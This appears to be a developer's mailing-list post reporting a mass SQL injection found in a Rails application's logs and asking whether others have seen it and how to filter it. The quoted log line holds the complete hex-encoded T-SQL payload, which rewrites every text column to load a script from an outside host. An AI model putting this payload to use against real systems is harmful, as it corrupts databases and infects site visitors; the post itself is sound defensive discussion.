I’ve found references to the following attack in our logs this week:
http://www.lexa.ru/security-alerts/msg01435.html
At the time of the above posts writing, it was targeted at IIS and
mysql - but the general scheme looks to be portable to other configs.
Generally it passes a hex string, to be decoded and execute as a
series of sql statements (T_sql in this case). The code essentially
inserts javascript into each text/varchar field it finds in your schema.
A typical log entry looks like:
Oct 02 07:01:54 www rails[31823]: Parameters: {"';DECLARE @S
CHAR(4000);SET
@S
"=
“CAST
(0x4445434C415245204054207661726368617228323535292C404320766172636861722
83430303029204445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A656
3747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616
E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
AS CHAR(4000));EXEC(@S);”, “action”=>“show”, “id”=>“310766-inhabit”,
“controller”=>“companies”}
Has anybody encountered this attack?
I am cleansing all params (using whitelist). I suspect whitelist isn’t
cleaning this(to be confirmed). Is this a new kind of param cleansing
we should be identifying?
thanx for your thoughts.
J